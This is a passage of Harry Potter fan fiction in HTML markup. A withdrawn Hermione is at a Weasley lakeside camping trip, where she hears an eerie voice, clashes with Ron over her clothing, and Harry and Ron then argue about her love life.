Ron and Harry were to follow.&nbsp; They each swam to the center of the lake and\nclimbed up onto a large boulder and jumped back into the water with shouts of\nexcitement.&nbsp; Ginny and Hermione were\nwatching them jump in and out of the water a little ways up a tiny hill; they\nwere lying on their towels sunbathing by a natural rock garden. Huge boulders\nand small rocks rose out of the ground creating a work of art.&nbsp; Both of the girls turned over on their\nstomachs, Ginny turned her head to look at Hermione. &#8220;Can I ask you something?&#8221;\nGinny&#8217;s tone was uneasy.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nlooked towards the water and then back at Ginny, &#8220;What about?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ginny\nsighed and then looked determined, &#8220;have you been having strange dreams?&#8221;\ncaution seeped through her voice.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Picking\na spot just above Ginny&#8217;s head, Hermione stared. &#8220;What do you mean by strange\ndreams?&#8221; She asked in a colorless, bland tone.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ginny\nknew that she and Hermione would never be close friends again, like they were\nbefore the end of last year.&nbsp; They used\nto confide in each other about everything especially about crushes and\nloves.&nbsp; And even though she didn&#8217;t mean\nto hurt Hermione by dating Harry, but she did and it ruined their friendship.\nEven though she knew Hermione forgave her after she and Harry broke up, but\nnothing has been the same since then.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp; Ginny noticed that her friend had become\ndistant and quiet, as if she were afraid to say anything at all. But Ginny had\nbeen having odd dreams and they involved a woman who looked an awful like\nHermione. Ginny saw the emptiness in her friends eyes and wished that the old\nhappy Hermione would return.&nbsp; &#8220;Oh, never\nmind.&#8221; She forced a smile and looked towards the water. &#8220;I&#8217;m going to go swim.\nDo you want to come?&#8221; She hoped that Hermione would go swim with her, her eyes\nwere almost pleading.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Oh\nno Ginny, you go and have fun. I&#8217;m just going to sit here for a little while\nlonger, then I&#8217;ll be along.&#8221; She tried to smile but her face just wouldn&#8217;t do\nit. And watched as Ginny stood and walked swiftly down towards the water.&nbsp; Hermione picked up a book she had laying next\nto her and opened it to read, she read the title page and found she couldn&#8217;t\neven concentrate which was not a good sign, she could always study and\nconcentrate no matter what.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nstared at the book with a blank expression on her face, she could see the words\nbut they weren&#8217;t making much sense.&nbsp; It\nwas true she had been having strange dreams. Happy, sad and even gut wrenching\nterrifying dreams.&nbsp; She glanced up for a\nmoment and looked towards the water watching her once good friends splashing\nabout and having fun, she smiled in their happiness, not her own.&nbsp; She didn&#8217;t want to keep avoiding them like\nthis, always making up some excuse to be by herself.&nbsp; All summer she had avoided going to see any\nof them except for these last few days before school started, she decided she\nbetter make some appearance in their lives.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">She\nfelt as if they didn&#8217;t even need her, probably never needed her.&nbsp; Hermione sat up and leaned up against a large\nboulder, pulling her legs up against her chest and wrapping her arms around\nthem. Leaning her head back against the boulder she closed her eyes,\nremembering all the dreams she&#8217;s had in the past months.&nbsp; They have all been very similar each one\nleaving off where she had woken, much like in a television drama series.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Recalling\nthe possibility of why the dreams had started, during that most depressing\nmoment in her life when her so called friend Ginny started romancing with\nHarry, She knew that Ginny had always had a small crush on him, a crush was\nnothing. But that Hermione has always been totally head over heels in love with\nhim. And Ginny knew that, she knew Ginny has always been secretly in love with\nsomeone else, someone dangerous. That caused Hermione to re-evaluate her\nfriendships.&nbsp; We&#8217;re they really her\nfriends at all? She remembered how they all hated her in the very beginning.\nWere they just putting up with her until they all graduated and just playing\nalong? </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Feeling\ndroplets of water on falling onto her feet, she opened one eye finding Harry\nstanding above her smiling down. Her other eye flew open &#8220;hey&#8221; she said with a\ntiny smile.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Why\naren&#8217;t you down there swimming with us, why are you sitting here by yourself?&#8221;\nHe sat down next to her.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\ndidn&#8217;t really feel like it just yet, I kinda wanted to sit here by myself.&#8221; She\nstretched her legs out so they were straight.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Well\nwhy would you want to sit here alone when you could be having fun with us, I\nknow you like swimming an awful lot.&#8221; He studied her face as she leaned her\nhead back against the boulder again as she stared up towards the blue sky.&nbsp; Harry always knew when she was deep in\nthought, she was obviously thinking about something important. &#8220;What are you\nthinking about?&#8221;&nbsp; Hermione&#8217;s head turned\nslightly, her gaze locking with his looking as if she wanted to say something,\nas if searching him to find the right words. He noticed she let her gaze fall\nand her head drop slightly, it was almost heart wrenching when she looked away\nfrom him, a small tendril of hair dropped down between her eyes. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;It\ndoesn&#8217;t really matter.&#8221; She said in a whisper, staring downwards.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nresisted the sudden urge to move the fowl piece of hair out of her beautiful\neyes, he was surprised when Hermione suddenly jumped up to her feet. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">She\ndidn&#8217;t look down at him she stared off in the distance, &#8220;I think I&#8217;ll go for\nthat swim now.&#8221;&nbsp; Hermione turned and\nstarted walking swiftly towards the water, when she reached the shallow part of\nthe lake she didn&#8217;t even stop, as if not even phased by the cold water. She\ncontinued into the water until she practically dove in and started swimming as\nthe water relaxed her entirely.&nbsp; She did\nnot feel like swimming over to where Ginny, Ron, Fred and George were, instead\nshe floated on her back staying by herself.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nstood on the bank of the lake just watching her, he knew something was wrong. <i style="mso-bidi-font-style:normal">But what?</i> He thought, then shook his\nhead he would figure it out later and he went back into the water.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">After\nfinishing their much needed swim, they all got out of the lake, dried off and\nchanged out of their bathing suits.&nbsp; Ron\nkept complaining about when and what kind of food they were going to eat. Ginny\nrolled her eyes knowing how her brother was always hungry. She was sitting at a\npicnic table with Ron, Harry Fred and George when Hermione came out of the\ngirls tent in what she was wearing earlier that day. Ron shook his head back\nand forth still not accepting the fact that Hermione had a change in her style\nof clothing.&nbsp; Ginny slapped him lightly\non the arm. &#8220;If you say one thing about her, you will regret it.&#8221; Ginny threatened.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nsmirked, &#8220;When did you become all full of threats?&#8221;<br style="mso-special-character:\nline-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;It&#8217;s\na recent development.&#8221; Ginny smiled back.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nstifled a yawn as she walked right up to them, Fred and George immediately\nturned around. &#8220;Hermione come sit here with me.&#8221; They both said at the same\ntime. They again started glaring at each other. They each grabbed one of her\narms and pulled her down to the bench between them, she looked up at Ron, Harry\nand Ginny with a please&#8212; help&#8212;me look.&nbsp;\nShe saw them trying to control their fits of laughter, and so obviously\nfound this funny.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;This\nwill be Fred and mine&#8217;s last year at school do you know what we have planned?&#8221;\nGeorge said with a devilish grin.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;No,\nbut I bet it&#8217;s going to be really funny.&#8221; She said trying to appear interested.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;There&#8217;s\nno doubt about that.&#8221; Fred replied shoving a piece of banana into his mouth.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\npicked up a strawberry and bit off the end, she glanced around the campsite. She\nfound Mr. and Mrs. Weasley cuddling by the fire sharing a plate of food.&nbsp; She barely heard Ginny, Ron and Harry&#8217;s\nconversation about Quidditch She had always found that game so boring, more\nboring than watching grass grow. Hermione picked up her cup of juice and\ndrained it, setting it back on the table she stared into her plate of half\neaten goodies. She began rolling a grape around the plate with her index finger\nletting her mind wander to other times in her life.&nbsp; When she was dating Viktor Krum during her\nfourth year and back to last spring break, when her neighbor Carlo began to\ntake a notice in her.&nbsp; He was seventeen\nthen and really cute, she smiled to herself thinking that he really took the\nedge off of her feelings when Ginny and Harry were together, but not as much as\nshe had hoped.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">George\nlooked over at Hermione&#8217;s empty cup &#8220;hey Hermione, your cup is empty. Would you\nlike some more juice?&#8221; He flashed a grand smile of pearly white teeth.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Snapping\nout of her thoughts, Hermione looked up at him. &#8220;Sure, where&#8217;s the pitcher?&#8221;\nShe started looking around the table for the juice container, it was on Ginny&#8217;s\nend of the table, where she began standing to get it.&nbsp; In an instant Fred had it in his hand,\nHermione sat down.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Here\nI&#8217;ll pour you some.&#8221; Fred smiled holding the pitcher by its bottom.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">George\ngrabbed the handle &#8220;no, I&#8217;ll do it.&#8221; He also smiled.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Fred\nand George both started pulling it against each other, trying to get it away\nfrom the other.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Let\nme,&#8221; George then pressed his lips into a line.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;No,\nme&#8221; Fred pulled the pitcher back harder.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;She\nwants me to do it!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Not\neven, give it up!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">The\ntwins fighting broke up Ron, Harry and Ginny&#8217;s conversation as they stared at\nthe two brothers fighting ridiculously over a pitcher of juice with Hermione in\nthe middle of it all.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Fred,\nGeorge. Guys please, I can get it myself.&#8221; She said looking between the two of\nthem, but the boys continued their fight as if they hadn&#8217;t heard a word she had\nsaid.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">They\nboth had equal pressure on the pitcher, pulling it harder and harder against\neach other. The pitcher started slipping from their fingers, falling sideways\nlanding all over Hermione, she jumped up with a loud screech and a very angry\nglare upon her face. Ginny and Ron practically fell off the bench in giggles,\nHarry covered his mouth with his hand so she couldn&#8217;t hear him laughing, but it\ndid no good she could see tears of laughter forming at the corners of his eyes.\n</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">With\nhis hand still over his mouth Harry asked &#8220;Do you want some help?&#8221; Still trying\nto control his laughter.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;No,&#8221;\nShe said through gritted teeth, and turned away from showing much restraint\nfrom hexing them all. She almost didn&#8217;t care that she was underage to perform magic\nout of school. Her fists clutched tight against her sides, creating little half\ncircles in her hands from her fingernails. She started walking away from the\ntable and laughing eyes, trying so hard not to break into hysterical tears.&nbsp; As soon as she was far enough away from them\nshe couldn&#8217;t help the silent tears from falling, when she wiped the tears away\nshe was so covered in juice that a sticky residue was left across her\ncheeks.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nknelt down near the lake&#8217;s edge and splashed her face, arms, legs, midriff with\nwater trying the best she could to get all the sticky juice off of her\nskin.&nbsp; After she was fairly cleaned off\nshe sat down her legs crossing each other, she picked up a stick and started\npoking it into the grass. She turned and looked back the way she came. Hermione\ncould see the campfire light burning brightly, and was not going to go back\nthere just yet. They were all laughing at her, she hated that.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">***</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron,\nGinny and Harry sat around the fire, they noticed the sun had totally set, it\nwas back behind the mountains. The chilly air was starting to affect them so\nthey sat closer to the fire, just staring into it.&nbsp; &#8220;How long do you think she&#8217;s going to stay\nout there?&#8221; Ginny finally asked.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nand Harry both shrugged at the same time, &#8220;not sure, she seemed pretty\nsteamed.&#8221; Ron replied throwing a piece of wood into the fire.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ginny\nclutched her arms, &#8220;don&#8217;t you think we should go look for her, it&#8217;s starting to\nget dark?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nstared into the fire, he knew how mad Hermione could get and sometimes it was\ngood just to leave her alone. &#8220;I think she&#8217;ll be alright, she wouldn&#8217;t have\ngone too far away from here.&#8221; He looked towards the lake hoping that she\nwouldn&#8217;t do something foolish in a mad rage and get lost.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Oh\nI don&#8217;t know, we were awfully mean laughing at her like that.&#8221; Ginny regretted\nwhat she had done.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Oh\nGin, we weren&#8217;t laughing at her.&#8221; Ron said, &#8220;we were laughing at what\nhappened.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\nbet she doesn&#8217;t see it that way,&#8221; Ginny looked between Ron and Harry. &#8220;She\ndoesn&#8217;t seem like herself, it&#8217;s been awhile since I&#8217;ve seen a real smile, a\nreal smile.&#8221; She repeated. &#8220;I wish I knew what was going on, she won&#8217;t even\ntalk to me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Well\nyou&#8217;re not the only one she won&#8217;t talk to.&#8221; Harry stared into the fire thinking\nthat they used to talk about everything under the sun and now she had barely\nspoken to him at all. It was quite unnerving seeing her quiet and pulled back\nfrom everything and everyone.&nbsp; He looked\nup towards the heavens seeing the first star peak through the changing\ndarkness.&nbsp; She&#8217;s <i style="mso-bidi-font-style:\nnormal">always the one to spot the first star of evening.</i> He thought then\nsmiled. <i style="mso-bidi-font-style:normal">I wonder if she&#8217;s seeing this?</i>\nHe looked towards the lake in wonder.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal">***</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Seeing\nthe first star of the evening lifted Hermione&#8217;s spirits a little, the way is\nsparkled like a newly polished stone caused her to smile. She looked down at\nher stick now covered with bits of mud and grass; she continued to poke the\nground. A small gust of wind blew lightly across the lake and up into her air,\nsending chills down through her body, for a second there she thought she heard\nher name being called. She shook the thought away, it was just the wind playing\ntricks with her mind. She was just hearing things, and went back to what she\nwas doing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She\nheard her name again, but this time a little bit louder, Hermione slowly stood\nup looking around in every general direction yet she saw no one. Her friends\nwere too far away to be calling her name so quietly. Hearing her name again,\nthe voice got louder causing the hairs on the back of her neck to stand\nup.&nbsp; Hermione started backing up slowly\nas if something was going to jump out and attack her. Her name was said again\neven louder, and without a second thought she turned on her heels and ran as\nfast as her feet could carry her back towards the campsite.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione&#8217;s\nfriends were seated around the campfire seeing her run extremely fast towards\nthem, when she stopped they were all staring at her.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Are\nyou alright?&#8221; Harry asked with concern and for a split second there he could see\nfear in her eyes, but was quickly replaced by a mask of security, she had been\nso clever in convincing others that nothing was wrong.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yes,\nI&#8217;m fine.&#8221; Hermione tried to smile, she could see that Harry did not believe\nher.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">It\nwas so obvious to him that she was lying, <i style="mso-bidi-font-style:normal">why\ndidn&#8217;t she want anyone to help her? Why didn&#8217;t she want me to help her</i>, He\nthought to himself thinking they have always helped each other in the past why\nshould now be any different?&nbsp; <i style="mso-bidi-font-style:normal">What is she hiding?</i> His gaze was\nsearching hers clearly not believing a word she had said, &#8220;are you sure you&#8217;re\nalright.&#8221; He asked again.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yes\nHarry, I&#8217;m fine.&#8221; She said in clipped tones as she sat down next to Ron.&nbsp; She glanced around briefly for the Terror\nTwins, but they were no where to be seen. She was almost afraid to ask.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Your\nfan club has retired for the night.&#8221; Harry said as if he had read her thoughts.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nleaned against the log sighing with relief, &#8220;what is the matter with those\ntwo?&#8221; She thought out loud and now wished she hadn&#8217;t said anything.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;They\nlike you.&#8221; Ron was blunt.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\ncan see that,&#8221; she glared at Ron. She had always admired his total honesty, but\nnow it was aggravating the hell out of her. &#8220;But why, they&#8217;ve never acted like\nthis around me before?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well&#8221;\nRon started, &#8220;maybe it&#8217;s what you&#8217;re wearing, or what you&#8217;re not wearing that&#8217;s\ndriving them to do insane things.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nwas so tired of Ron&#8217;s holier then thou attitude, her lips formed an angry line\nshe turned to him, staring directly at him &#8220;What is so wrong about it huh?&#8221; She\nthen stood abruptly in anger.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Not\nexpecting this kind of reaction out of her, Ron also stood.&nbsp; &#8220;For one it makes you look&#8212;&#8221; He broke off, he\ndidn&#8217;t want to hurt her feelings.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What?!\nIt makes me look what?!&#8221; Her hands planted themselves firmly on her hips, her\neyes narrowed, glaring at him.&nbsp; Hermione\ncould feel Ginny and Harry&#8217;s eyes intently upon her, but she didn&#8217;t care. She\nwas beyond caring.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Cheap\nand easy,&#8221; Ron spat out angrily.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nhappen to think she looks cute.&#8221; Ginny said and turned to Harry, &#8220;what do you\nthink?&#8221; Harry just nodded, mumbling something.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nnow furious he turned on them, &#8220;you guys are not helping.&#8221; His voice trembling,\nhe was on the edge of loosing it entirely.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What&#8217;s\nit to you how I look?&#8221; Her glare softened a bit.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Because\nI don&#8217;t like it on you!&#8221; Ron was surprised by his own reply.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;So\neverything has to be your way does it? Well I was not put on this earth just to\nplease you.&#8221; Her voice wavered between anger and confidence.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;No\nit doesn&#8217;t,&#8221; Ron said in harsh tones. &#8220;But the way you&#8217;re dressing these days\nyou look like you want to go around and fuck every guy in the wizarding world.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Ron!&#8221;\nBoth Ginny and Harry shouted at the same time, unbelieving that he could use\nsuch fowl words in front of his friends and sister.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">With\ndignity Hermione turned to walk away, but she spun around glaring up at Ron,\n&#8220;Even if I wanted to do that, it is really none of your business is it now?&#8221;\nShe was sarcastic and hurt by what Ron had said, but she wasn&#8217;t going to show\nit.&nbsp; Hermione looked over at Ginny and\nHarry &#8220;I&#8217;m tired, I&#8217;m going to bed.&#8221; And with that she started walking away\ntowards the girls tent.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\ncould see that she was fighting back hurt tears he so wanted to go and comfort\nher but Ginny stood shaking her head angrily at her brother to follow after\nHermione, he&nbsp; was relieved that Ginny\nwould talk to her, perhaps Ginny could help her better than he could.&nbsp; He saw Ginny put a gentle arm around Hermione&#8217;s\nshoulder and give her a friendly squeeze, but Hermione pushed herself away from\nGinny and continued towards the tent with quite a distance between them.&nbsp; This struck Harry odd, usually Hermione went\nfor the close comforting, whether it had been from Ron, Ginny or himself. And\nit was strange that Hermione was pushing away from any kind of comfort at\nall.&nbsp; He looked over at Ron who had\nfinally resumed his seat by the fire.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I&#8217;m\nnot going to feel guilty about what I said, I meant it.&#8221; Ron snapped.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\ndidn&#8217;t say anything,&#8221; Harry snapped back. &#8220;Although you really have no right to\ntell her how she should dress. It&#8217;s her decision you know.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nglared sarcastically at his friend, &#8220;you&#8217;re one to talk?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What&#8217;s\nthat suppose to mean?&#8221; Feeling slightly offended, Harry stared at Ron.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Oh\nI can&#8217;t tell Hermione how to dress, but you can tell her who she&#8217;s allowed to\ndate?&#8221; His tone was more sarcastic then he was angry.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Feeling\nslightly confused, Harry dared to ask. &#8220;What are you going on about?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nrelaxed, his temper settling a bit. &#8220;Every time Hermione told us about a new crush\nor an infatuation about someone, or even shared a few dates. You would tell her\nthat they weren&#8217;t right for her. Tell me do you think that anyone will ever be\nright for her?&#8221; He was almost grinning.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nthought a moment, &#8220;yes, eventually there will be the right person for her.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Other\nthan you or I?&#8221; Ron asked cautiously. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Where\nexactly are you going with this Ron?&#8221; Harry felt uneasy about the nature of\nthese questions.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nsighed, he might as well ask everything under the heavens to try and get some\nkind of truthful answer out of his best friend.&nbsp;\nSo he charged right in, he was reminded of when Harry found Ron&#8217;s\npersonal letters that he had received from Hermione about her muggle neighbor\nCarlo during spring break. Since Ron was a guy he wanted to know ever little\ndirty detail of that one week relationship, he was astounded she even went as\nfar as she had in only a small amount of time. Although she had assured him\nthat she was still unicorn approachable. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">He\nlooked over at Harry who had practically flipped out when he thought no one was\nwatching or awake, cursing the night and everything in it. Saying out loud to\nhimself how foolish Hermione was being, and that she was only being used.\nHoping that she wouldn&#8217;t do anything too foolish.&nbsp; Ron almost laughed out loud thinking that.\n&#8220;Here&#8217;s an example of where I&#8217;m going with this,&#8221; He cleared his throat. &#8220;How\ndid you feel when you found those letters of mine from Hermione about Carlo?&#8221;</p>\n\n<p class="MsoNormal" 